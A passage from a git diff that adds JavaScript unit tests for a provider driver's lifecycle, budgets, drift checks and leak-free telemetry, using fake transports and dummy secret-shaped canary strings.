...request.correlation }; + Object.defineProperty(built, 'outcome', { + enumerable: true, get() { return 'confirmed'; }, + }); + return built; + }; + return build; + })()], + })) { + const transport = fakeDshTransport({ cancelReceipts }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.cancel(), undefined, `cancel receipt (${label})`); + } +}); + +test('bounds abuse fails closed: oversized lanes, budgets, cursors, and timing', () => { + const fixture = dshEnvelope(MUSE_MODEL); + + // Lane budget. + const fleet = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + for (let index = 0; index < 64; index += 1) { + const laneFixture = dshEnvelope(MUSE_MODEL, `fleet-${String(index).padStart(2, '0')}`); + fleet.driver.preflight(requestFor(laneFixture, 'preflight')); + } + expectCode(() => fleet.driver.preflight(requestFor(dshEnvelope(MUSE_MODEL, 'fleet-over'), 'preflight')), + 'lane_budget_exceeded'); + + // Cursor abuse through a receipt that claims an impossible cursor. + const cursorAbuse = fakeDshTransport({ + polls: [(request) => ({ + session_ref: request.session_ref, ...request.correlation, + state: 'running', event_count: 1025, cursor: 2_000_000_000, updated_at_ms: 10, + })], + }); + const cursorDriver = createFixtureDriver(MUSE_MODEL, cursorAbuse); + const cursorLane = dispatchLane(cursorDriver.driver, fixture); + expectCode(() => cursorLane.reconcile(), 'invalid_format'); + + // Clock abuse: NaN and out-of-range readings deny before any transport call. + for (const clock of [() => Number.NaN, () => 4102444800001]) { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport, { now: clock }); + expectCode(() => driver.driver.preflight(requestFor(fixture, 'preflight')), 'invalid_format'); + assert.equal(transport.counts().configIdentity, 0); + } + + // A throwing clock denies too. + const throwingClock = fakeDshTransport(); + const throwingDriver = createFixtureDriver(MUSE_MODEL, throwingClock, { + now: () => { + throw new Error('clock exploded'); + }, + }); + expectCode(() => throwingDriver.driver.preflight(requestFor(fixture, 'preflight')), 'invalid_format'); + assert.equal(throwingClock.counts().configIdentity, 0); +}); + +test('the ox-alpha lane rejects muse-model evidence and vice versa', () => { + for (const model of [MUSE_MODEL, OX_MODEL]) { + const otherModel = model === MUSE_MODEL ? OX_MODEL : MUSE_MODEL; + const fixture = dshEnvelope(model); + const corruptedModel = (request) => ({ + session_ref: request.session_ref, + ...request.correlation, + model: otherModel, + }); + const transport = fakeDshTransport({ + polls: [(request) => ({ + ...corruptedModel(request), + state: 'running', event_count: 1, cursor: 1, updated_at_ms: 10, + })], + cancelReceipts: [(request) => ({ ...corruptedModel(request), outcome: 'confirmed' })], + }); + const driver = createFixtureDriver(model, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile(), 'dsh_correlation_mismatch', + `${otherModel} evidence must not serve a ${model} lane`); + expectCode(() => lane.cancel(), 'dsh_correlation_mismatch'); + } +}); + +test('results never carry provider-authored text even from deeply hostile transports', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const hostileText = `${LEAK_MARKER} token sk-abc123defghijk password=hunter2 AKIAIOSFODNN7EXAMPLE`; + const transport = fakeDshTransport({ + polls: [(request) => ({ + session_ref: request.session_ref, ...request.correlation, + state: 'needs_attention', + event_count: 3, cursor: 3, updated_at_ms: 20, + question_ref: `q-${LEAK_MARKER}`, + })], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records }, (_, index) => ({ + seq: index + 1, kind: 'text_delta', bytes: 2048, + })), + next_cursor: request.max_records, + truncated: true, + })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + const seen = [ + lane.reconcile({ include: ['detailed_events', 'live_progress'], intent: 'restart_reattach' }), + lane.cancel(), + ]; + for (const result of seen) { + const serialized = JSON.stringify(result); + assert.ok(!serialized.includes(LEAK_MARKER), 'marker leaked into results'); + assert.ok(!serialized.includes('hunter2'), 'secret-shaped text leaked into results'); + assert.ok(!serialized.includes('AKIAIOSFODNN7'), 'aws-style token leaked into results'); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs new file mode 100644 index 0000000..c1659d0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs @@ -0,0 +1,679 @@ +// Runtime tests for the P20 DSH ACPX provider driver: hard provider/model +// binding, the four P17 lifecycle operations over an injected bounded +// one-shot transport port, honest post-spawn uncertainty (no replay, +// retry, or fallback), unsupported same-session reply surfacing, recorded- +// evidence reconcile/restart recovery and cancellation confirmation, exact +// identity/correlation drift denials, bounds, and content-free telemetry. +// No real DSH transport is configured or qualified here. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + DSH_ALLOWED_MODELS, + DSH_ACPX_TRANSPORT_KEYS, + DSH_CANCEL_OUTCOMES, + DSH_DETAIL_CODES, + DSH_EVIDENCE_STATES, + DSH_EVENT_KINDS, + DSH_MAX_CURSOR, + DSH_MAX_EVENT_PAGE_RECORDS, + DSH_MAX_EVENT_RECORD_BYTES, + DSH_MAX_LANES, + DSH_MAX_LAUNCH_ATTEMPTS, + DSH_MAX_LANE_OPERATIONS, + DSH_MAX_RECORDED_EVENTS, + DSH_MODEL_IDENTITIES, + DSH_PROVIDER, + DSH_STOP_REASONS, + assertDshAcpTransportV1, + createDshApxDriverV1, + describeDshApxDriverV1, + validateDshConfigIdentityV1, +} from '../mcp/v3/dsh-acpx-driver.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + assertCapabilityRequirementV1, + assertProviderDriverV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { CLOUD_STARTING_REF } from './fixtures/r1-resolver-fixtures.mjs'; +import { + dshManifest, + LEAK_MARKER, + MUSE_MODEL, + OX_MODEL, + createFixtureDriver, + dispatchLane, + dshEnvelope, + fakeDshTransport, + readyIdentity, +} from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { runProviderDriverContractSuiteV1 } from './provider-driver-contract-suite.mjs'; + +function expectCode(fn, code, message) { + // A wildcard (undefined) code accepts any typed contract denial. + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +const CONTENT_FREE_DETAIL = /^[A-Za-z0-9_=.:/ -]+$/u; + +test('factory surface is closed, frozen, and hard-bound to dsh with exactly two models', () => { + const facade = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + assert.equal(facade.schema, 'codex-co-engineer.dsh-acpx-driver.v1'); + assert.equal(facade.version, 1); + assert.equal(facade.provider, DSH_PROVIDER); + assert.deepEqual([...facade.models], [MUSE_MODEL, OX_MODEL]); + assert.equal(facade.workspace_mode, 'managed'); + assert.equal(facade.workspace_semantics, 'local_managed_worktree'); + assert.equal(facade.workspace_starting_point, 'run_base_sha'); + assert.ok(Object.isFrozen(facade)); + assertProviderDriverV1(facade.driver); + assert.deepEqual(Object.keys(facade.driver).sort(), ['cancel', 'launch', 'preflight', 'reconcile']); + assert.equal(facade.declaration.schema, DRIVER_DECLARATION_SCHEMA_ID); + assert.equal(facade.declaration.capability.schema, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID); + assert.equal(facade.declaration.capability.provider, 'dsh'); +}); + +test('the shipped declaration keeps asserting the honest DSH posture', () => { + const facade = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + const capability = assertCapabilityRequirementV1(facade.declaration, { + artifact_kinds: ['provider_report'], + create_pr_posture: 'prohibited', + dispatch_certainty: 'uncertain_after_spawn', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); + assert.equal(capability.revision, 'p20.dsh-acpx.1'); + assert.deepEqual({ ...facade.features }, { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }); +}); + +test('the driver passes the accepted provider-neutral P17 conformance suite unmodified', () => { + const facade = createFixtureDriver(OX_MODEL, fakeDshTransport()); + runProviderDriverContractSuiteV1(facade.driver, { + label: 'dsh-acpx-driver', + declaration: facade.declaration, + }); +}); + +test('describe reports bounded vocabularies and only false non-claims', () => { + const description = describeDshApxDriverV1(); + assert.equal(description.transport_mode, 'injected_bounded_one_shot_port'); + assert.deepEqual([...description.models], [...DSH_ALLOWED_MODELS]); + assert.deepEqual([...description.evidence_states], [...DSH_EVIDENCE_STATES]); + assert.deepEqual([...description.event_kinds], [...DSH_EVENT_KINDS]); + assert.deepEqual([...description.cancel_outcomes], [...DSH_CANCEL_OUTCOMES]); + assert.deepEqual([...description.stop_reasons_placeholder ?? []], []); + for (const value of Object.values(description.claims)) assert.equal(value, false); + assert.equal(description.bounds.recorded_events, DSH_MAX_RECORDED_EVENTS); + assert.equal(description.bounds.lanes, DSH_MAX_LANES); + assert.ok(DSH_DETAIL_CODES.length >= 12 && new Set(DSH_DETAIL_CODES).size === DSH_DETAIL_CODES.length); + assert.ok(new Set([...DSH_EVIDENCE_STATES]).size === DSH_EVIDENCE_STATES.length); + assert.ok(new Set([...DSH_STOP_REASONS]).size === DSH_STOP_REASONS.length); + assert.ok(new Set([...DSH_EVENT_KINDS]).size === DSH_EVENT_KINDS.length); +}); + +test('model identity data stays an informational mirror of the supervisor routing', () => { + assert.deepEqual({ ...DSH_MODEL_IDENTITIES[MUSE_MODEL] }, { + config_file: 'dsh-acp.yml', + credential_env: 'MODEL_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + credential_file: 'model-api-key', + }); + assert.deepEqual({ ...DSH_MODEL_IDENTITIES[OX_MODEL] }, { + config_file: 'dsh-acp-ox-alpha.yml', + credential_env: 'OPENROUTER_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + credential_file: 'openrouter-api-key', + }); +}); + +test('preflight is ready on a healthy identity and blocked honestly when the port cannot resolve one', () => { + const healthy = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(healthy.driver, fixture); + assert.equal(lane.preflight.disposition, 'ready'); + assert.equal(lane.preflight.detail_code, undefined); + + const unavailableTransport = fakeDshTransport({ throwOnIdentity: () => new Error('probe blew up') }); + const unavailable = createFixtureDriver(MUSE_MODEL, unavailableTransport); + const blockedResult = unavailable.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(blockedResult.disposition, 'blocked'); + assert.equal(blockedResult.detail_code, 'dsh_transport_unavailable'); + assert.match(blockedResult.detail_message, CONTENT_FREE_DETAIL); +}); + +test('a lost identity probe during launch is provably not_sent and may be retried once', () => { + const fixture = dshEnvelope(MUSE_MODEL); + let identityCalls = 0; + const transport = fakeDshTransport({ + identity: () => { + identityCalls += 1; + if (identityCalls >= 2) throw new Error('config probe lost'); + return readyIdentity(); + }, + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + // The spawn call was never made, so the failure is provably pre-spawn... + const firstLaunch = driver.driver.launch({ + schema: 'codex-co-engineer.driver-launch.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(firstLaunch.disposition, 'not_sent'); + assert.equal(firstLaunch.detail_code, 'transport_prespawn_denied'); + assert.equal(transport.port ? transport.counts().spawn : transport.counts().spawn, 0); +}); + +test('preflight maps identity-unavailability reasons to dedicated blocked codes', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const preflightRequest = () => ({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + for (const [identity, code] of [ + [{ ready: false, reason: 'config_unavailable' }, 'dsh_config_unavailable'], + [{ ready: false, reason: 'credential_unavailable' }, 'dsh_credential_unavailable'], + [{ ready: false }, 'dsh_config_unavailable'], + ]) { + const driver = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ identity })); + const result = driver.driver.preflight(preflightRequest()); + assert.equal(result.disposition, 'blocked'); + assert.equal(result.detail_code, code); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + } + // An own-undefined receipt field is malformed data, not probe loss: it must + // fail closed with its typed code instead of a soft blocked posture. + const malformed = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ + identity: () => ({ ready: false, reason: undefined }), + })); + expectCode(() => malformed.driver.preflight(preflightRequest()), 'own_undefined_denied'); +}); + +test('launch stays dispatch_uncertain after spawn and forwards the exact child payload', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + assert.equal(lane.launch.detail_code, undefined); + const payload = transport.calls.spawn[0]; + assert.equal(payload.envelope_text, fixture.envelope_text); + assert.equal(payload.child_envelope_digest, fixture.child_envelope_digest); + assert.equal(payload.model, MUSE_MODEL); + assert.equal(payload.run_id, fixture.run_id); + assert.equal(payload.assignment_id, fixture.assignment_id); + assert.equal(payload.lane_index, fixture.lane_index); + assert.equal(payload.base_sha, fixture.base_sha); + assert.equal(typeof payload.attempted_at_ms, 'number'); + assert.ok(Number.isSafeInteger(payload.attempted_at_ms)); + assert.equal(Object.isFrozen(payload), true); +}); + +test('the ox-alpha model drives the identical lifecycle without substitution', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(OX_MODEL, transport); + const fixture = dshEnvelope(OX_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.preflight.disposition, 'ready'); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + assert.equal(lane.reconcile({ include: ['live_progress'] }).disposition, 'in_progress'); + assert.equal(transport.calls.spawn[0].model, OX_MODEL); +}); + +test('cross-provider envelopes are refused before any transport call happens', () => { + for (const provider of ['grok', 'cursor-local', 'cursor-cloud']) { + const manifest = JSON.parse(JSON.stringify(dshManifest(MUSE_MODEL))); + manifest.assignments[0].execution.provider = provider; + if (provider === 'cursor-cloud') manifest.assignments[0].starting_ref = CLOUD_STARTING_REF; + const envelope = compileChildEnvelopeV1(manifest, 'dsh-lane'); + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const request = { + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }; + expectCode(() => driver.driver.preflight(request), 'provider_slot_mismatch'); + assert.equal(transport.counts().configIdentity, 0, 'no transport probe may run for foreign providers'); + } +}); + +test('non-canonical dsh models are denied; both allowed models are accepted verbatim', () => { + for (const model of ['muse-spark-1.2', 'stealth/ox-alpha-latest', '-', '', 'MUSE-SPARK-1.2-CONTRIBUTOR']) { + const manifest = JSON.parse(JSON.stringify(dshManifest(MUSE_MODEL))); + manifest.assignments[0].execution.model = model; + let envelope; + try { + envelope = compileChildEnvelopeV1(manifest, 'dsh-lane'); + } catch { + continue; // the compiler itself rejects some non-canonical models first + } + const driver = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + expectCode(() => driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }), 'dsh_model_denied', `model ${model} must be denied`); + } + assert.deepEqual([...DSH_ALLOWED_MODELS], [MUSE_MODEL, OX_MODEL]); +}); + +test('reconcile maps recorded evidence onto honest dispositions with content-free details', () => { + const cases = [ + [{ state: 'accepted' }, 'in_progress', 'live_progress'], + [{ state: 'running' }, 'in_progress', 'live_progress'], + [{ state: 'needs_attention', question_ref: `q-${LEAK_MARKER}` }, 'unresolved_attention', 'unresolved_attention'], + [{ state: 'completed', stop_reason: 'end_turn' }, 'terminal', 'terminal_evidence'], + [{ state: 'failed', stop_reason: 'error' }, 'terminal', 'terminal_evidence'], + [{ state: 'cancelled', stop_reason: 'cancelled' }, 'terminal', 'terminal_evidence'], + [{ state: 'absent' }, 'dispatch_uncertain', 'evidence_absent'], + ]; + for (const [receipt, disposition, detailCode] of cases) { + const transport = fakeDshTransport({ polls: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const result = lane.reconcile({ include: ['live_progress'] }); + assert.equal(result.disposition, disposition, `state ${JSON.stringify(receipt.state)}`); + assert.equal(result.detail_code, detailCode); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + assert.ok(result.detail_message.length <= 512); + assert.ok(!result.detail_message.includes(LEAK_MARKER), 'question/prompt content must never surface'); + } +}); + +test('restart_reattach recovers from recorded evidence and never relaunches anything', () => { + const transport = fakeDshTransport({ polls: [{ state: 'running' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const recovered = lane.reconcile({ intent: 'restart_reattach', include: ['detailed_events'] }); + assert.equal(recovered.disposition, 'in_progress'); + assert.equal(recovered.detail_code, 'live_progress'); + assert.equal(transport.counts().spawn, 1, 'restart recovery must not spawn again'); + + const lost = fakeDshTransport({ polls: [{ state: 'absent' }] }); + const lostDriver = createFixtureDriver(MUSE_MODEL, lost); + const lostLane = dispatchLane(lostDriver.driver, fixture); + const uncertain = lostLane.reconcile({ intent: 'restart_reattach' }); + assert.equal(uncertain.disposition, 'dispatch_uncertain'); + assert.equal(lost.counts().spawn, 1, 'missing evidence never authorizes a relaunch'); +}); + +test('cancellation maps confirmed/requested/already_terminal outcomes with bounded details', () => { + for (const outcome of DSH_CANCEL_OUTCOMES) { + const expectedDisposition = { + confirmed: 'cancel_confirmed', + requested: 'cancel_requested', + already_terminal: 'already_terminal', + }[outcome]; + const transport = fakeDshTransport({ cancelReceipts: [{ outcome }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const result = lane.cancel(); + assert.equal(result.disposition, expectedDisposition); + assert.equal(result.detail_code, expectedDisposition); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + } +}); + +test('duplicate launch after any launch observation fails closed as a replay', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + expectCode(() => lane.launchAgain(), 'replay_denied'); + expectCode(() => lane.preflightAgain(), 'invalid_transition'); + assert.equal(transport.counts().spawn, 1); +}); + +test('a provably pre-spawn failure reports not_sent and permits exactly one more attempt', () => { + const prespawnError = Object.assign(new Error('port denied pre-spawn'), { + phase: 'prespawn', code: 'port_denied', + }); + const transport = fakeDshTransport({ throwOnSpawn: () => prespawnError }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'not_sent'); + assert.equal(lane.launch.detail_code, 'transport_prespawn_denied'); + + // One retry is allowed because the prompt provably never went out. + const recovering = fakeDshTransport(); + const recoveringDriver = createFixtureDriver(MUSE_MODEL, recovering); + const recoveredLane = dispatchLane(recoveringDriver.driver, fixture); + assert.equal(recoveredLane.launch.disposition, 'dispatch_uncertain'); + + const twiceFailed = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ throwOnSpawn: () => prespawnError })); + const twiceLane = dispatchLane(twiceFailed.driver, fixture); + twiceLane.launchAgain(); + expectCode(() => twiceLane.launchAgain(), 'launch_budget_exceeded'); +}); + +test('post-spawn exceptions stay dispatch_uncertain forever with no replay or fallback', () => { + const transport = fakeDshTransport({ throwOnSpawn: () => new Error('process died mid-spawn') }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + expectCode(() => lane.launchAgain(), 'replay_denied'); + expectCode(() => lane.preflightAgain(), 'invalid_transition'); + // An intent-only lane has no session handle: observation stays honestly + // uncertain, invents no terminality, and never replays the child to + // recover a handle. + const observed = lane.reconcile({ intent: 'restart_reattach', include: ['detailed_events'] }); + assert.equal(observed.disposition, 'dispatch_uncertain'); + assert.equal(observed.detail_code, 'evidence_absent'); + expectCode(() => lane.cancel(), 'dsh_cancel_unresolved'); + assert.equal(transport.counts().spawn, 1); + assert.equal(transport.counts().poll, 0, 'no poll can run without a session handle'); +}); + +test('identity drift between preflight and later operations fails closed before spawn', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const requestFor = (operation) => ({ + schema: `codex-co-engineer.driver-${operation}.v1`.replace('driver-preflight', 'driver-preflight'), + version: 1, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + + const drifted = fakeDshTransport({ + identity: (callIndex) => (callIndex === 1 + ? readyIdentity() + : readyIdentity({ credential_sha256: 'c'.repeat(64) })), + }); + const driver = createFixtureDriver(MUSE_MODEL, drifted); + driver.driver.preflight(requestFor('preflight')); + expectCode(() => driver.driver.launch(requestFor('launch')), 'dsh_identity_drift'); + assert.equal(drifted.counts().spawn, 0, 'drift must deny before the spawn intent begins'); + + for (const field of ['config_path', 'config_sha256', 'credential_source']) { + const perField = fakeDshTransport({ + identity: (callIndex) => (callIndex === 1 + ? readyIdentity() + : readyIdentity({ [field]: field === 'config_path' + ? '/elsewhere/dsh-acp.yml' + : field === 'config_sha256' ? 'd'.repeat(64) : 'file' })), + }); + const fieldDriver = createFixtureDriver(MUSE_MODEL, perField); + fieldDriver.driver.preflight(requestFor('preflight')); + // Launch re-probes identity immediately before the spawn intent: drift + // fails closed before anything can be sent. + expectCode(() => fieldDriver.driver.launch(requestFor('launch')), 'dsh_identity_drift', field); + assert.equal(perField.counts().spawn, 0, `drift denies before spawn (${field})`); + } + + const gone = fakeDshTransport({ + identity: (callIndex) => (callIndex === 1 ? readyIdentity() : { ready: false, reason: 'credential_unavailable' }), + }); + const goneDriver = createFixtureDriver(MUSE_MODEL, gone); + goneDriver.driver.preflight(requestFor('preflight')); + expectCode(() => goneDriver.driver.launch(requestFor('launch')), 'dsh_identity_unavailable'); + assert.equal(gone.counts().spawn, 0, 'unavailable identity denies before spawn'); +}); + +test('task/session correlation drift in recorded evidence fails closed per field', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const field of ['run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', 'session_ref', 'model']) { + const wrongValue = field === 'lane_index' + ? 5 + : field === 'child_envelope_digest' + ? `${fixture.child_envelope_digest.slice(0, 63)}0` + : field === 'session_ref' + ? 'sess-other-9999' + : `wrong-${field}`; + const corrupted = (request) => ({ + session_ref: field === 'session_ref' ? wrongValue : request.session_ref, + ...request.correlation, + ...(field !== 'session_ref' ? { [field]: wrongValue } : {}), + }); + const transport = fakeDshTransport({ + polls: [(request) => ({ + ...corrupted(request), + state: 'running', event_count: 1, cursor: 1, updated_at_ms: 10, + })], + cancelReceipts: [(request) => ({ ...corrupted(request), outcome: 'confirmed' })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile(), 'dsh_correlation_mismatch', field); + expectCode(() => lane.cancel(), 'dsh_correlation_mismatch', field); + } +}); + +test('event pages are bounded, cursor-monotonic, and stop at the recorded-event budget', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const first = lane.reconcile({ include: ['detailed_events', 'live_progress'] }); + assert.equal(first.detail_code, 'live_progress'); + assert.equal(transport.calls.events[0].max_records, DSH_MAX_EVENT_PAGE_RECORDS); + + const overbound = fakeDshTransport({ + polls: [{ state: 'running' }], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records + 1 }, (_, index) => ({ + seq: index + 1, kind: 'status', bytes: 1, + })), + next_cursor: request.max_records + 1, + truncated: true, + })], + }); + const overDriver = createFixtureDriver(MUSE_MODEL, overbound); + const overLane = dispatchLane(overDriver.driver, fixture); + expectCode(() => overLane.reconcile({ include: ['live_progress'] }), 'event_page_overbound'); + + const nonIncreasing = fakeDshTransport({ + polls: [{ state: 'running' }], + eventPages: [(request) => ({ + records: [{ seq: request.cursor, kind: 'status', bytes: 1 }], + next_cursor: request.cursor, + truncated: false, + })], + }); + const nonIncreasingDriver = createFixtureDriver(MUSE_MODEL, nonIncreasing); + const nonIncreasingLane = dispatchLane(nonIncreasingDriver.driver, fixture); + expectCode(() => nonIncreasingLane.reconcile({ include: ['live_progress'] }), 'invalid_format'); + + const missingEvents = fakeDshTransport({ throwOnEvents: () => new Error('evidence dir gone') }); + const missingDriver = createFixtureDriver(MUSE_MODEL, missingEvents); + const missingLane = dispatchLane(missingDriver.driver, fixture); + expectCode(() => missingLane.reconcile({ include: ['detailed_events'] }), 'dsh_events_unavailable'); + // Observing without includes stays possible after the diagnostic failure. + assert.equal(missingLane.reconcile().disposition, 'in_progress'); +}); + +test('the event budget stops page reads once the recorded cap is reached', () => { + let seq = 0; + const transport = fakeDshTransport({ + polls: [{ state: 'running' }], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records }, () => ({ seq: (seq += 1), kind: 'status', bytes: 8 })), + next_cursor: seq, + truncated: seq >= DSH_MAX_RECORDED_EVENTS, + })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + let last; + for (let round = 0; round < Math.ceil(DSH_MAX_RECORDED_EVENTS / DSH_MAX_EVENT_PAGE_RECORDS) + 2; round += 1) { + last = lane.reconcile({ include: ['detailed_events'] }); + } + assert.equal(last.detail_message.includes(`events=${DSH_MAX_RECORDED_EVENTS}`), true, last.detail_message); + assert.equal(last.detail_message.includes('truncated=true'), true); + const readsAtBudget = transport.counts().events; + lane.reconcile({ include: ['detailed_events'] }); + assert.equal(transport.counts().events, readsAtBudget, 'no further page reads once the budget is exhausted'); +}); + +test('bounds constants stay inside their advertised ranges', () => { + assert.ok(DSH_MAX_LANES >= 1 && DSH_MAX_LANES <= 1024); + assert.ok(DSH_MAX_LAUNCH_ATTEMPTS >= 1 && DSH_MAX_LAUNCH_ATTEMPTS <= 8); + assert.ok(DSH_MAX_LANE_OPERATIONS >= 16); + assert.ok(DSH_MAX_RECORDED_EVENTS >= DSH_MAX_EVENT_PAGE_RECORDS); + assert.ok(DSH_MAX_EVENT_RECORD_BYTES >= 1 && DSH_MAX_EVENT_RECORD_BYTES <= 65536); + assert.ok(DSH_MAX_CURSOR >= DSH_MAX_RECORDED_EVENTS); + assert.equal(DSH_ACPX_TRANSPORT_KEYS.length, 5); +}); + +test('the lane budget denies the 65th distinct lane while existing lanes keep working', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + for (let index = 0; index < DSH_MAX_LANES; index += 1) { + const fixture = dshEnvelope(MUSE_MODEL, `lane-${String(index).padStart(2, '0')}`); + const result = driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(result.disposition, 'ready'); + } + const extra = dshEnvelope(MUSE_MODEL, 'lane-overflows'); + expectCode(() => driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: extra.envelope_text, child_envelope_digest: extra.child_envelope_digest, + }), 'lane_budget_exceeded'); +}); + +test('the operation budget caps work per lane and clock regressions fail closed', () => { + let now = 10_000; + const transport = fakeDshTransport({ polls: [{ state: 'running' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport, { now: () => (now += 1) }); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const remaining = DSH_MAX_LANE_OPERATIONS - 2; + for (let index = 0; index < remaining; index += 1) { + lane.reconcile(); + } + expectCode(() => lane.reconcile(), 'operation_budget_exceeded'); + + let backwardsClock = 20_000; + let dispatchedBackwards = false; + const backwards = createFixtureDriver(MUSE_MODEL, fakeDshTransport(), { + now: () => { + if (!dispatchedBackwards) { + backwardsClock += 1; + return backwardsClock; + } + backwardsClock -= 5_000; + return backwardsClock; + }, + }); + const backFixture = dshEnvelope(MUSE_MODEL, 'clock-lane'); + const backLane = dispatchLane(backwards.driver, backFixture); + dispatchedBackwards = true; + expectCode(() => backLane.reconcile(), 'timing_regression_denied'); +}); + +test('invalid injected clocks fail closed before any transport interaction', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const clock of [() => Number.NaN, () => -1, () => 5e12, () => null]) { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport, { now: clock }); + expectCode(() => driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }), 'invalid_format'); + assert.equal(transport.counts().configIdentity, 0); + } +}); 